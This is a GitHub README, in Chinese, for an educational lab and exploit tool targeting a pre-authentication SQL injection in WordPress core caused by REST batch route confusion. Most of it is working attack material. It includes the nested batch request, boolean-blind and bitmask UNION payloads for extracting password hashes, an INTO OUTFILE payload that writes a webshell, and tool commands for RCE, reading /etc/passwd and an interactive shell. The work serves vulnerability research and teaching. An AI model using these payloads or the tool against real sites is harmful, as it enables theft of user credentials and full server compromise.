47Cid/wp2shell-lab
GitHub: 47Cid/wp2shell-lab
WordPress 核心 REST API 路由混淆导致未授权 SQL 注入漏洞的教学实验环境与优化利用工具。
Stars: 12 | Forks: 2
# wp2shell-lab
用于教学的 PoC 和实验环境,针对 **CVE-2026-63030 + CVE-2026-60137**:通过 REST 批量路由混淆引发的 WordPress 核心 Pre-authentication SQL injection。
由 Adam Kues (Searchlight Cyber / Assetnote) 发现。已在 WordPress 6.9.5 / 7.0.2 中修复。
## 分析文章
### 步骤 1:batch endpoint 无需身份验证
`POST /wp-json/batch/v1` 将多个 REST API 调用打包到一个 HTTP 请求中。它本身没有身份验证检查。安全性委托给每个子请求的权限回调。
### 步骤 2:不同步(desync)
`serve_batch_request_v1()` 构建了两个并行数组:
- `$matches[]` 追踪要将每个子请求**分发**到哪个 handler
- `$validation[]` 追踪每个子请求是否**通过了验证**
它在分发期间通过相同的偏移量对两者进行索引。漏洞在于:当子请求的路径未通过 `wp_parse_url()` 时,一个 `WP_Error` 会被推入 `$validation`,但**不会**推入 `$matches`。这导致 `$matches` 发生了错位,因此后续的每个子请求都会被分发到错误的 handler。
### 步骤 3:双重嵌套
这种不同步(desync)被利用了两次。
**外层 batch。** 一个携带内部 batch 作为其 body 的 `/wp/v2/posts` 请求会在 batch handler 下被分发(自调用)。它被作为 posts 请求进行验证,因此内部的 `requests` 数组从未根据 batch schema 进行检查。这绕过了方法白名单,并允许内部子请求使用 GET。
**内层 batch。** 一个 `/wp/v2/categories?author_exclude=` 请求会在 posts 的 `get_items()` 下被分发。categories schema 没有定义 `author_exclude`,因此它毫无阻碍地通过了验证。但是 posts 的 `get_items()` 将其映射到了 `WP_Query::author__not_in`,其中的值被原生地插值到了 SQL 中。
### 步骤 4:SQL injection
存在漏洞的 `WP_Query` 代码仅在 `author__not_in` 已经是数组时才对其进行了净化(sanitized):
```
// PRE-FIX (vulnerable)
if (is_array($query_vars['author__not_in'])) {
$query_vars['author__not_in'] = array_map('absint', ...); // sanitize
}
$author__not_in = implode(',', (array) $query_vars['author__not_in']);
$where .= " AND post_author NOT IN ($author__not_in) "; // raw interpolation
```
字符串值完全绕过了 `is_array()` 检查。`(array)` 转换在未进行净化的情况下将其包装。
### 步骤 5:你可以用它做什么
**读取数据库**(适用于每个受影响的站点):
```
author_exclude = 0) AND (ASCII(SUBSTRING((SELECT user_pass FROM wp_users LIMIT 1),1,1)) > 80)-- -
```
布尔盲注:返回帖子 = true,为空 = false。对每个字符进行二进制搜索。
**写入文件**(需要 MySQL FILE 权限,这不是 WordPress 的默认设置):
```
author_exclude = 0) AND 1=0 UNION SELECT '' INTO OUTFILE '/path/shell.php'-- -
```
## Batch desync
实际的 HTTP 请求:
```
{
"requests": [
{"method": "POST", "path": "http://"},
{"method": "POST", "path": "/wp/v2/posts", "body": {
"requests": [
{"method": "POST", "path": "http://"},
{"method": "POST", "path": "/wp/v2/categories?author_exclude=",
"body": {"name": "x", "orderby": false}},
{"method": "GET", "path": "/wp/v2/posts"}
]
}},
{"method": "POST", "path": "/batch/v1"}
]
}
```
数组是如何错位的:
`serve_batch_request_v1()` 在两个循环中处理子请求。第一个
循环验证每个子请求并构建 `$matches[]` 和 `$validation[]`。
第二个循环使用 `$matches[$i]` 作为 handler 来
分发每个子请求。因为引导项的错误在 `$matches` 中丢失了,所以第二个
循环将每个请求与错误的 handler 配对。
```
POST /?rest_route=/batch/v1 (anonymous, no auth)
|
v
OUTER BATCH
+--------------------------------------------------------------+
| |
| Loop 1 (validate): |
| [0] "http://" -> wp_parse_url fails |
| [1] POST /wp/v2/posts -> match: posts_handler |
| [2] POST /batch/v1 -> match: batch_handler |
| |
| $validation: [ error, OK(posts), OK(batch) ] |
| $matches: [ posts_handler, batch_handler ] |
| ^ |
| error skipped in $matches |
| |
| Loop 2 (dispatch): |
| i=0: error -> skip |
| i=1: POST /posts uses $matches[1] = batch_handler |
| -> posts body executed as a nested batch |
| i=2: POST /batch uses $matches[2] = out of bounds |
| |
+--------------------------------------------------------------+
|
v
INNER BATCH (recursive serve_batch_request_v1)
+--------------------------------------------------------------+
| |
| Loop 1 (validate): |
| [0] "http://" -> wp_parse_url fails |
| [1] POST /categories -> match: categories_handler |
| [2] GET /wp/v2/posts -> match: posts_handler |
| |
| $validation: [ error, OK(cats), OK(posts) ] |
| $matches: [ categories_handler, posts_handler ] |
| |
| Loop 2 (dispatch): |
| i=0: error -> skip |
| i=1: POST /categories uses $matches[1] = posts_handler |
| -> categories request handled by posts get_items() |
| -> author_exclude not in cats schema, unsanitized |
| -> posts maps it to WP_Query::author__not_in |
| -> SQL INJECTION |
| |
+--------------------------------------------------------------+
```
## 通过 X-WP-Total 位掩码盲注实现快速提取
现有的 PoC 使用盲布尔提取:每个 HTTP 请求提取 1 位,获取一个密码哈希大约需要 224 次请求。本仓库结合了两种技术,实现了约 75 倍的提取速度。
**X-WP-Total 盲注。** WordPress 在 post 查询中添加了 `SQL_CALC_FOUND_ROWS`,并将计数放在 `X-WP-Total` 响应头中。UNION 行在 SQL 层级被计数,即使 PHP 将它们从响应正文中过滤掉了。条件 UNION 对单个位进行编码:
```
0) AND 1=0
UNION SELECT 1 WHERE (ASCII(SUBSTRING((...),1,1)) & 1) > 0 -- bit 0
UNION SELECT 1 WHERE (ASCII(SUBSTRING((...),1,1)) & 2) > 0 -- bit 1
... -- bits 2-6
-- -
```
`X-WP-Total` = 0 表示该位未设置,1 表示该位已设置。七次探测 = 一个完整的 ASCII 字符。
**无限制的内部 batch。** 外部 batch 通过其 schema 验证了 `maxItems: 25`。路由混淆绕过了这一点:内部 batch 递归运行,没有进行大小检查。多个字符的所有 7 次位探测都可以打包进一个请求中。
16 个字符 x 7 位 = 每个请求 112 次探测。获取一个 34 字符的 phpass 哈希大约只需 3 个请求,而不是 224 个。
## 快速开始
```
# 启动 vulnerable lab
cd docker && ./setup.sh
cd ..
# detect
python3 -m exploit check http://localhost:8888
python3 -m exploit check http://localhost:8888 --confirm-sqli
# extract data (fast mode, default)
python3 -m exploit extract http://localhost:8888 --preset fingerprint
python3 -m exploit extract http://localhost:8888 --preset users
# extract data (blind mode, for comparison)
python3 -m exploit extract http://localhost:8888 --mode blind --preset fingerprint
# 自定义 SQL query
python3 -m exploit extract http://localhost:8888 --query "SELECT @@version"
# RCE (需要 FILE privilege, lab 已授予)
python3 -m exploit rce http://localhost:8888 --cmd "id"
python3 -m exploit rce http://localhost:8888 --cmd "cat /etc/passwd"
python3 -m exploit rce http://localhost:8888 -i # interactive shell
# 通过 Burp 代理
python3 -m exploit extract http://localhost:8888 --proxy http://127.0.0.1:8080
# tear down
cd docker && ./setup.sh down
```
## 参考
- [WordPress 7.0.2 发布](https://wordpress.org/news/2026/07/wordpress-7-0-2-release/)
- [Searchlight Cyber 公告](https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core)
- [GHSA-ff9f-jf42-662q](https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-ff9f-jf42-662q)(路由混淆)
- [GHSA-fpp7-x2x2-2mjf](https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-fpp7-x2x2-2mjf)(SQLi)
- [Icex0/wp2shell-poc](https://github.com/Icex0/wp2shell-poc) - 盲 SQLi + 认证后 webshell
- [AdnaneKhan/Wp2Shell-RCE](https://github.com/AdnaneKhan/Wp2Shell-RCE) - INTO OUTFILE RCE 与 Docker 实验环境
- [sergiointel/wp2shell-poc](https://github.com/sergiointel/wp2shell-poc) - 极简的基于时间的 PoC
## 合法性
仅供授权的安全测试和教育使用。仅限针对您拥有或获得明确书面许可进行测试的系统使用。
标签:CISA项目, Maven, REST API, WordPress, 漏洞复现, 漏洞验证, 请求拦截, 逆向工具